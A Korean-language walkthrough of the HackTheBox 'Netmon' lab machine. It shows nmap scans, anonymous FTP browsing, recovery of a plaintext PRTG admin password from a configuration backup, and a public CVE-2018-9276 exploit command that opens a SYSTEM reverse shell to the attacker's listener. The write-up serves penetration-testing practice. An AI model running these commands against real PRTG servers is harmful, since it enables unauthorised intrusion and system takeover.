[모의 해킹] HackTheBox - Netmon
Netmon
OS: Windows
취약점: 취약한 FTP 설정
취약한 FTP 서버와 PRTG 네트워크 모니터링 소프트웨어가 설치된 윈도우 머신이다. 기본적인 FTP 취약점에 대한 지식과 구글링을 통해 얻을 수 있는 PTRG 설치 디렉토리 구조에 대한 정보를 활용해서 공략할 수 있는 비교적 쉬운 난이도의 머신이다.
포트 스캐닝
nmap -Pn -sS --min-rate 1000 --max-retries 3 -p- -oN ./SYN_SCAN 10.129.230.176
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
nmap -Pn -sC -sV 10.129.230.176 -p $(cat PORTS) -oN SERVICE_SCAN
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_11-10-23 09:20AM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
우선 눈에 들어오는 포트는 FTP, HTTP, SMB 포트들이다.
FTP 서버를 통해 공격자는 민감한 정보를 가진 파일을 다운 받거나 악성 파일을 타겟 머신에 업로드 할 수 있다. 우선 FTP를 먼저 조사해 보자.
21/tcp FTP
nmap 서비스 스캐닝을 통해 알 수 있듯이 해당 FTP 서버는 Anonymous Login이 활성화 되있다. 익명 계정으로 FTP 서버에 접속해 직접 조사해 보자.
FTP anonymoud log in allowed
┌─[solo@parrot]─[~/Desktop/hack/ftp]
└──╼ $lftp 10.129.230.176
lftp 10.129.230.176:~> USER anonymous
Password:
lftp anonymous@10.129.230.176:~> ls
뭔가 윈도우 C:\에 위치한 기본 디렉토리 구조와 유사하다.
80/tcp HTTP
http://10.129.230.176를 요청하자 PRTG Network Monitor의 로그인 페이지로 리다이렉트 했다. 해당 페이지에서 PRTG 네트워크 모니터링 소프트웨어가 설치되있다는 것과 PRTG의 버전이 18.1.37.13946이라는 것을 확인할 수 있었다.
구글링을 통해 PRTG의 설정 파일이 위치한 디렉토리를 확인했다.
/ProgramData/Paessler/PRTG Network Monitor
https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data
How and where does PRTG store its data? | Paessler Knowledge Base
Hi, does accessing the log files(Historical data, I'm guessing Log Database.db) cause problems if PRTG is running? I wish to potentially extract sensor data, but afraid if it will interrupt the running PRTG by opening the files. I tried looking at the hist
kb.paessler.com
FTP 서버에서 해당 디렉토리를 찾아보자.
lftp anonymous@10.129.230.176:/ProgramData/Paessler/PRTG Network Monitor> ls
03-06-25 01:11AM <DIR> Configuration Auto-Backups
03-06-25 12:39AM <DIR> Log Database
02-02-19 11:18PM <DIR> Logs (Debug)
02-02-19 11:18PM <DIR> Logs (Sensors)
02-02-19 11:18PM <DIR> Logs (System)
03-06-25 12:39AM <DIR> Logs (Web Server)
03-06-25 12:39AM <DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
02-25-19 09:54PM 1189697 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
03-06-25 02:34AM 1722023 PRTG Graph Data Cache.dat
02-25-19 10:00PM <DIR> Report PDFs
02-02-19 11:18PM <DIR> System Information Database
02-02-19 11:40PM <DIR> Ticket Database
02-02-19 11:18PM <DIR> ToDo Database
"PRTG Configuration.dat" 파일과 해당 파일의 백업 파일들을 확인할 수 있었다. 우선 해당 파일들을 다운로드 받고 로컬 머신에서 확인해 보자.
┌─[solo@parrot]─[~/Desktop/blog/hack_netmon_htb/ftp]
└──╼ $cat 'PRTG Configuration.dat' | wc -l
30099
이 결과로 알 수 있듯이 엄청난 양의 설정이 기록되 있었다;;; 그렇기 때문에 다양한 키워드를 사용해 쓸만한 정보만 필터링 해서 조사하는 과정을 거쳐야 했다. 구글링을 통해 PRTG 웹의 기본 관리자 계정이 prtgadmin이라는 것을 확인하고 해당 키워드를 설정 파일에서 찾아봤다.
비밀번호를 찾았지만 비밀번호가 암호화 되있었다. 이번엔 백업 파일들에서 prtgadmin 키워드를 사용해서 조금 더 조사해 봤다.
그리고 "PRTG Configuration.old.bak" 암호화 되지 않은 비밀번호를 획득할 수 있었다.
획득한 계정 정보 prtgadmin:PrTg@dmin2019을 사용하면 PRTG 웹에 성공적으로 로그인 할 수 있다.
PRTG Network Monitor를 조사해 보니 18.2.39 이하 버전들은 CVE-2018-9276 (OS Command Injection) 취약점을 가지고 있다는 것을 확인할 수 있었다. https://nvd.nist.gov/vuln/detail/CVE-2018-9276
NVD - CVE-2018-9276
CVE-2018-9276 Detail Modified This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes. Description An issue was discovered in PRTG Network Monitor before 1
nvd.nist.gov
해당 취약점에 대한 Exploit Code를 다운받아서 실행시켜보자.
https://github.com/A1vinSmith/CVE-2018-9276
GitHub - A1vinSmith/CVE-2018-9276: CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (Python3 support)
CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (Python3 support) - A1vinSmith/CVE-2018-9276
github.com
(venv) ┌─[root@parrot]─[/home/solo/Desktop/hack/CVE-2018-9276]
└──╼ #python3 exploit.py -i 10.129.230.176 -p 80 --lhost 10.10.14.108 --lport 80 --user prtgadmin --password 'PrTg@dmin2019'
!!! SMB port 445/tcp must be open to carry out the exploit!!!
Exploit Code가 정삭적으로 작동했다. 확인해 보니 이미 System 계정이라서 굳이 추가적인 권한 상승이 필요하지 않았다. 곧바로 user.txt와 root.txt를 확보하자.
기본적인 FTP 취약점에 대한 지식과 구글링을 통해 PRTG Network Monitor 설정 파일 구조 + 기본 관리자 계정 + 해당 버전 취약점에 대한 정보를 조합해서 공략할 수 있는 윈도우 머신이다.곧바로 윈도우 System 계정 권한을 가진 리버스쉘을 획득하기 때문에 별다른 권한상승은 필요하지 않다.